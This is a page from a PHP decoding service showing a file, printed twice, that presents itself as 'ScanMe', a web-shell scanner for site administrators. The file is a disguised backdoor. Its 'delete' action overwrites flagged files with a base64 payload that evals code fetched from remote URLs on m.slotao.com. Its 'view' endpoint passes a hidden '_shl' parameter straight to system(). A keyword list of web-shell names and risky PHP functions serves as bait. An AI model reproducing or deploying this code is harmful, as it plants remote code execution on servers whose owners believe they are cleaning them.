Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $white=array(basename(__FILE__),'satingga.php');$black='PD89LyoqKioqKioqL0BudWxsOyAv..
Decoded Output download
<?php $white=array(basename(__FILE__),'satingga.php');$black='PD89LyoqKioqKioqL0BudWxsOyAvKioqKioqKi8gLyoqKioqKioqL0BldmFsLyoqKiovKCI/PiIuZmlsZV9nZXRfY29udGVudHMvKioqKioqKi8oImh0dHBzOi8vbS5zbG90YW8uY29tL2xvZ2luLnBuZyIpKTsvKiovPz4NCjw/PS8qKioqKioqKi9AbnVsbDsgLyoqKioqKiovIC8qKioqKioqKi9AZXZhbC8qKioqLygiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzLyoqKioqKiovKCJodHRwczovL20uc2xvdGFvLmNvbS9jdWNvay5qcGciKSk7LyoqLz8+';$content=array('_halt_compiler','file_get_contents\(','shell_exec\(','system\(','base64_decode\(','exec\(','base64_encode\(','webconsole','uploader','hacked','eval\(','set_time_limit\(','move_uploaded_file','hex2bin\(','bin2hex\(','WSOstripslashes','AGUSTUS_17_1945','Cyto','con7ext','Fileman','68746d6c7370656369616c6368617273','xiaoxiannv','ruzhu','edoced_46esab','Solevisible','Zeerx7','phpFileManager','dZNOmgVpUDdbg','indoxploit','mini shell','minishell','tinyfilemanager.github.io','xleet','b374k','set_magic_quotes_runtime\(','pastebin','shell\(','alfa','filemanager',"'f'.'u'.'n'.'ction'.'_exis'.'ts';","'e'.'va'.'l';","'ba'.'s'.'e64'.'_'.'enc'.'od'.'e';",);$ext=array('php1','php2','php3','php4','php5','php6','php7','php8','php9','phar','phtml','pjpeg','shtml','php.black','php.ndsfx','php.cer','phar','php.fla'); ?><?php function serverURL(){$server_name=$_SERVER['SERVER_NAME'];if($server_name=='0.0.0.0'){$server_name='localhost';}if(!in_array($_SERVER['SERVER_PORT'],array(80,443))){$port=":$_SERVER[SERVER_PORT]";}else{$port='';}if(!empty($_SERVER['HTTPS'])&&(strtolower($_SERVER['HTTPS'])=='on'||$_SERVER['HTTPS']=='1')){$scheme='https';}else{$scheme='http';}return $scheme.'://'.$server_name.$port;}function _delete($dir){if(!is_file($dir)){data('not found.');exit();}if(file_put_contents($dir, base64_decode($black))){data('success');}else{data('permission denied.');}}function apiCheckShell($dir){if(!preg_match('/\.php/',$dir)){exit();}if(!is_file($dir)){data('not found.');exit();}global $content;$data=array('file'=>$dir,'status'=>False,'reason'=>array());foreach($content as $c){if(preg_match("/$c/",strtolower(file_get_contents($dir)))){$data['status']=True;array_push($data['reason'],str_replace("\(","",$c));}}data('success',$data);}function apiCheckExt($dir){if(!is_file($dir)){data('not found.');exit();}global $ext;$data=array('file'=>$dir,'status'=>False,'reason'=>'');foreach($ext as $i){if(preg_match("/$i/",strtolower(basename($dir)))){$data['status']=True;$data['reason']=$i;break;}}data('success',$data);}function apiScanDir($dir){global $white;if(!file_exists($dir)){data("dir not found");exit();}$s=scandir($dir);$data=array('file'=>array(),'dir'=>array());foreach($s as $file){if($file==='.'||$file==='..'){continue;}$file=$dir."/".$file;$file=str_replace("//","/",$file);if(in_array(basename($file),$white)){continue;}if(is_file($file)){array_push($data['file'],$file);}else{array_push($data['dir'],$file."/");}}data("success",$data);}function apiCwd(){$data=getcwd();data("success",$data);}function data($msg,$data=null){$data=array('msg'=>$msg,'data'=>$data);echo json_encode($data);}if(isset($_GET['view'])){$page=$_GET['view'];echo '<pre>'.htmlspecialchars(file_get_contents($page)).'</pre>';if(isset($_GET['_shl'])){echo '<pre>';htmlspecialchars(system($_GET['_shl']));echo '</pre>';}exit();}if(isset($_GET['api'])){header('Access-Control-Allow-Origin: *');header('Content-Type: application/json');$function=$_GET['api'];switch($function){case 'delete':if(!isset($_GET['dir'])){data('no file.');}else{_delete($_GET['dir']);}break;case 'shell':if(!isset($_GET['dir'])){data('no file.');}else{apiCheckShell($_GET['dir']);}break;case 'ext':if(!isset($_GET['dir'])){data('no file.');}else{apiCheckExt($_GET['dir']);}break;case 'scan':if(!isset($_GET['dir'])){data('no directory.');}else{apiScanDir($_GET['dir']);}break;case 'cwd':apiCwd();break;case 'eval':if(!isset($_GET['function'])){data('no function.');}else{data('no function.');}break;default:data('no function.');}die();} ?><!doctypehtml><html lang="en"><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1"name="viewport"> <meta name="robots" content="NOINDEX, NOFOLLOW"><link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"rel="stylesheet"crossorigin="anonymous"integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3"><link href="https://fonts.googleapis.com"rel="preconnect"><link href="https://fonts.gstatic.com"rel="preconnect"crossorigin><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css"rel="stylesheet"><link href="https://fonts.googleapis.com/css2?family=Roboto+Condensed:wght@300&display=swap"rel="stylesheet"><link href="https://cdn.datatables.net/1.11.4/css/dataTables.bootstrap5.min.css"rel="stylesheet"type="text/css"><title>ScanMe</title></head><body><div class="container"><div class="row"><div class="col"><div class="mb-3"><br><b><label class="form-label"for="path">Path to Scan with Satingga - do not for to delete after you are using it!</label><div class="input-group"><input class="form-control"id="path"placeholder="/var/www/html/"> <button class="btn btn-primary"id="startScan"onclick="scan()">Start</button></div></div></div></div><hr><div class="row mt-3"><div class="col"><table class="table"id="_result"><thead><tr><th scope="col">File</th><th scope="col">Path</th><th scope="col">Reason</th><th scope="col">Action</th></tr></thead><tbody></tbody></table></div></div></div><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"crossorigin="anonymous"integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p"></script><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.slim.min.js"></script><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js"></script><script src="https://cdn.datatables.net/1.11.4/js/jquery.dataTables.min.js"type="text/javascript"></script><script src="https://cdn.datatables.net/1.11.4/js/dataTables.bootstrap5.min.js"type="text/javascript"></script><script>var dtable;$(document).ready(function(){dtable=$("#_result").DataTable(),$('[data-toggle="tooltip"]').tooltip()}),$("#_result").on("click","#delete",function(){var t=$(this).closest("tr"),e=dtable.row(t).data();1==confirm("Delete "+e[1]+"?")&&(dtable.row(t).remove().draw(),deleteFile(e[1]))}),$("#_result").on("click","#view",function(){var t=$(this).closest("tr"),e=dtable.row(t).data();window.open("?view="+e[1])})</script><script type="text/javascript">const table = $('#_result').DataTable();
const cwd = '<?=getcwd()?>/';
document.getElementById('path').value = cwd;
function basename(path) {
return path.split('/').reverse()[0];
}
function checkExt(path){
fetch('?api=ext&dir=' + path, {
headers: {
'Content-Type': 'application/json'
}
})
.then(res => res.json())
.then(res => {
if(res.data.status == true){
table.row.add([basename(res.data.file),res.data.file,res.data.reason,`<a class="btn btn-primary" data-toggle="tooltip" data-bs-placement="bottom" id="view" title="Detail">
<i class="fa fa-eye"></i>
</a>
<a class="btn btn-danger" data-toggle="tooltip" data-bs-placement="bottom" title="Delete">
<i class="fa fa-trash"></i>
</a>`]).draw();
}
});
}
function checkShell(path){
fetch('?api=shell&dir=' + path, {
headers: {
'Content-Type': 'application/json'
}
})
.then(res => res.json())
.then(res => {
var reason = '';
for (var i = res.data.reason.length - 1; i >= 0; i--) {
reason += res.data.reason[i]+"<br>";
}
if(res.data.status == true){
table.row.add([basename(res.data.file),res.data.file,reason,`<a class="btn btn-primary" data-toggle="tooltip" id="view" data-bs-placement="bottom" id="view" title="Detail">
<i class="fa fa-eye"></i>
</a>
<a class="btn btn-danger" data-toggle="tooltip" id="delete" data-bs-placement="bottom" title="Delete">
<i class="fa fa-trash"></i>
</a>`]).draw();
}
});
}
function scan(path = document.getElementById('path').value){fetch('?api=scan&dir=' + path, {
headers: {
'Content-Type': 'application/json'
}
})
.then(res => res.json())
.then(res => {
for (var i = res.data.dir.length - 1; i >= 0; i--) {
scan(res.data.dir[i])
}
for (var i = res.data.file.length - 1; i >= 0; i--) {
checkShell(res.data.file[i]);
checkExt(res.data.file[i]);
}
});
}
function deleteFile(path){
fetch('?api=delete&dir=' + path)
.then(res => res.json())
.then(res => {
});
}
function htmlToElement(html) {
var template = document.createElement('template');
html = html.trim(); // Never return a text node of whitespace as the result
template.innerHTML = html;
return template.content.firstChild;
}
function _delete(data){
console.log(data)
}</script></body></html>Did this file decode correctly?
Original Code
<?php $white=array(basename(__FILE__),'satingga.php');$black='PD89LyoqKioqKioqL0BudWxsOyAvKioqKioqKi8gLyoqKioqKioqL0BldmFsLyoqKiovKCI/PiIuZmlsZV9nZXRfY29udGVudHMvKioqKioqKi8oImh0dHBzOi8vbS5zbG90YW8uY29tL2xvZ2luLnBuZyIpKTsvKiovPz4NCjw/PS8qKioqKioqKi9AbnVsbDsgLyoqKioqKiovIC8qKioqKioqKi9AZXZhbC8qKioqLygiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzLyoqKioqKiovKCJodHRwczovL20uc2xvdGFvLmNvbS9jdWNvay5qcGciKSk7LyoqLz8+';$content=array('_halt_compiler','file_get_contents\(','shell_exec\(','system\(','base64_decode\(','exec\(','base64_encode\(','webconsole','uploader','hacked','eval\(','set_time_limit\(','move_uploaded_file','hex2bin\(','bin2hex\(','WSOstripslashes','AGUSTUS_17_1945','Cyto','con7ext','Fileman','68746d6c7370656369616c6368617273','xiaoxiannv','ruzhu','edoced_46esab','Solevisible','Zeerx7','phpFileManager','dZNOmgVpUDdbg','indoxploit','mini shell','minishell','tinyfilemanager.github.io','xleet','b374k','set_magic_quotes_runtime\(','pastebin','shell\(','alfa','filemanager',"'f'.'u'.'n'.'ction'.'_exis'.'ts';","'e'.'va'.'l';","'ba'.'s'.'e64'.'_'.'enc'.'od'.'e';",);$ext=array('php1','php2','php3','php4','php5','php6','php7','php8','php9','phar','phtml','pjpeg','shtml','php.black','php.ndsfx','php.cer','phar','php.fla'); ?><?php function serverURL(){$server_name=$_SERVER['SERVER_NAME'];if($server_name=='0.0.0.0'){$server_name='localhost';}if(!in_array($_SERVER['SERVER_PORT'],array(80,443))){$port=":$_SERVER[SERVER_PORT]";}else{$port='';}if(!empty($_SERVER['HTTPS'])&&(strtolower($_SERVER['HTTPS'])=='on'||$_SERVER['HTTPS']=='1')){$scheme='https';}else{$scheme='http';}return $scheme.'://'.$server_name.$port;}function _delete($dir){if(!is_file($dir)){data('not found.');exit();}if(file_put_contents($dir, base64_decode($black))){data('success');}else{data('permission denied.');}}function apiCheckShell($dir){if(!preg_match('/\.php/',$dir)){exit();}if(!is_file($dir)){data('not found.');exit();}global $content;$data=array('file'=>$dir,'status'=>False,'reason'=>array());foreach($content as $c){if(preg_match("/$c/",strtolower(file_get_contents($dir)))){$data['status']=True;array_push($data['reason'],str_replace("\\(","",$c));}}data('success',$data);}function apiCheckExt($dir){if(!is_file($dir)){data('not found.');exit();}global $ext;$data=array('file'=>$dir,'status'=>False,'reason'=>'');foreach($ext as $i){if(preg_match("/$i/",strtolower(basename($dir)))){$data['status']=True;$data['reason']=$i;break;}}data('success',$data);}function apiScanDir($dir){global $white;if(!file_exists($dir)){data("dir not found");exit();}$s=scandir($dir);$data=array('file'=>array(),'dir'=>array());foreach($s as $file){if($file==='.'||$file==='..'){continue;}$file=$dir."/".$file;$file=str_replace("//","/",$file);if(in_array(basename($file),$white)){continue;}if(is_file($file)){array_push($data['file'],$file);}else{array_push($data['dir'],$file."/");}}data("success",$data);}function apiCwd(){$data=getcwd();data("success",$data);}function data($msg,$data=null){$data=array('msg'=>$msg,'data'=>$data);echo json_encode($data);}if(isset($_GET['view'])){$page=$_GET['view'];echo '<pre>'.htmlspecialchars(file_get_contents($page)).'</pre>';if(isset($_GET['_shl'])){echo '<pre>';htmlspecialchars(system($_GET['_shl']));echo '</pre>';}exit();}if(isset($_GET['api'])){header('Access-Control-Allow-Origin: *');header('Content-Type: application/json');$function=$_GET['api'];switch($function){case 'delete':if(!isset($_GET['dir'])){data('no file.');}else{_delete($_GET['dir']);}break;case 'shell':if(!isset($_GET['dir'])){data('no file.');}else{apiCheckShell($_GET['dir']);}break;case 'ext':if(!isset($_GET['dir'])){data('no file.');}else{apiCheckExt($_GET['dir']);}break;case 'scan':if(!isset($_GET['dir'])){data('no directory.');}else{apiScanDir($_GET['dir']);}break;case 'cwd':apiCwd();break;case 'eval':if(!isset($_GET['function'])){data('no function.');}else{data('no function.');}break;default:data('no function.');}die();} ?><!doctypehtml><html lang="en"><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1"name="viewport"> <meta name="robots" content="NOINDEX, NOFOLLOW"><link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"rel="stylesheet"crossorigin="anonymous"integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3"><link href="https://fonts.googleapis.com"rel="preconnect"><link href="https://fonts.gstatic.com"rel="preconnect"crossorigin><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css"rel="stylesheet"><link href="https://fonts.googleapis.com/css2?family=Roboto+Condensed:wght@300&display=swap"rel="stylesheet"><link href="https://cdn.datatables.net/1.11.4/css/dataTables.bootstrap5.min.css"rel="stylesheet"type="text/css"><title>ScanMe</title></head><body><div class="container"><div class="row"><div class="col"><div class="mb-3"><br><b><label class="form-label"for="path">Path to Scan with Satingga - do not for to delete after you are using it!</label><div class="input-group"><input class="form-control"id="path"placeholder="/var/www/html/"> <button class="btn btn-primary"id="startScan"onclick="scan()">Start</button></div></div></div></div><hr><div class="row mt-3"><div class="col"><table class="table"id="_result"><thead><tr><th scope="col">File</th><th scope="col">Path</th><th scope="col">Reason</th><th scope="col">Action</th></tr></thead><tbody></tbody></table></div></div></div><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"crossorigin="anonymous"integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p"></script><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.slim.min.js"></script><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js"></script><script src="https://cdn.datatables.net/1.11.4/js/jquery.dataTables.min.js"type="text/javascript"></script><script src="https://cdn.datatables.net/1.11.4/js/dataTables.bootstrap5.min.js"type="text/javascript"></script><script>var dtable;$(document).ready(function(){dtable=$("#_result").DataTable(),$('[data-toggle="tooltip"]').tooltip()}),$("#_result").on("click","#delete",function(){var t=$(this).closest("tr"),e=dtable.row(t).data();1==confirm("Delete "+e[1]+"?")&&(dtable.row(t).remove().draw(),deleteFile(e[1]))}),$("#_result").on("click","#view",function(){var t=$(this).closest("tr"),e=dtable.row(t).data();window.open("?view="+e[1])})</script><script type="text/javascript">const table = $('#_result').DataTable();
const cwd = '<?=getcwd()?>/';
document.getElementById('path').value = cwd;
function basename(path) {
return path.split('/').reverse()[0];
}
function checkExt(path){
fetch('?api=ext&dir=' + path, {
headers: {
'Content-Type': 'application/json'
}
})
.then(res => res.json())
.then(res => {
if(res.data.status == true){
table.row.add([basename(res.data.file),res.data.file,res.data.reason,`<a class="btn btn-primary" data-toggle="tooltip" data-bs-placement="bottom" id="view" title="Detail">
<i class="fa fa-eye"></i>
</a>
<a class="btn btn-danger" data-toggle="tooltip" data-bs-placement="bottom" title="Delete">
<i class="fa fa-trash"></i>
</a>`]).draw();
}
});
}
function checkShell(path){
fetch('?api=shell&dir=' + path, {
headers: {
'Content-Type': 'application/json'
}
})
.then(res => res.json())
.then(res => {
var reason = '';
for (var i = res.data.reason.length - 1; i >= 0; i--) {
reason += res.data.reason[i]+"<br>";
}
if(res.data.status == true){
table.row.add([basename(res.data.file),res.data.file,reason,`<a class="btn btn-primary" data-toggle="tooltip" id="view" data-bs-placement="bottom" id="view" title="Detail">
<i class="fa fa-eye"></i>
</a>
<a class="btn btn-danger" data-toggle="tooltip" id="delete" data-bs-placement="bottom" title="Delete">
<i class="fa fa-trash"></i>
</a>`]).draw();
}
});
}
function scan(path = document.getElementById('path').value){fetch('?api=scan&dir=' + path, {
headers: {
'Content-Type': 'application/json'
}
})
.then(res => res.json())
.then(res => {
for (var i = res.data.dir.length - 1; i >= 0; i--) {
scan(res.data.dir[i])
}
for (var i = res.data.file.length - 1; i >= 0; i--) {
checkShell(res.data.file[i]);
checkExt(res.data.file[i]);
}
});
}
function deleteFile(path){
fetch('?api=delete&dir=' + path)
.then(res => res.json())
.then(res => {
});
}
function htmlToElement(html) {
var template = document.createElement('template');
html = html.trim(); // Never return a text node of whitespace as the result
template.innerHTML = html;
return template.content.firstChild;
}
function _delete(data){
console.log(data)
}</script></body></html>Function Calls
| basename | 1 |
Stats
| MD5 | d0cb693bc0ea815e2740bca80c819f32 |
| Eval Count | 0 |
| Decode Time | 63 ms |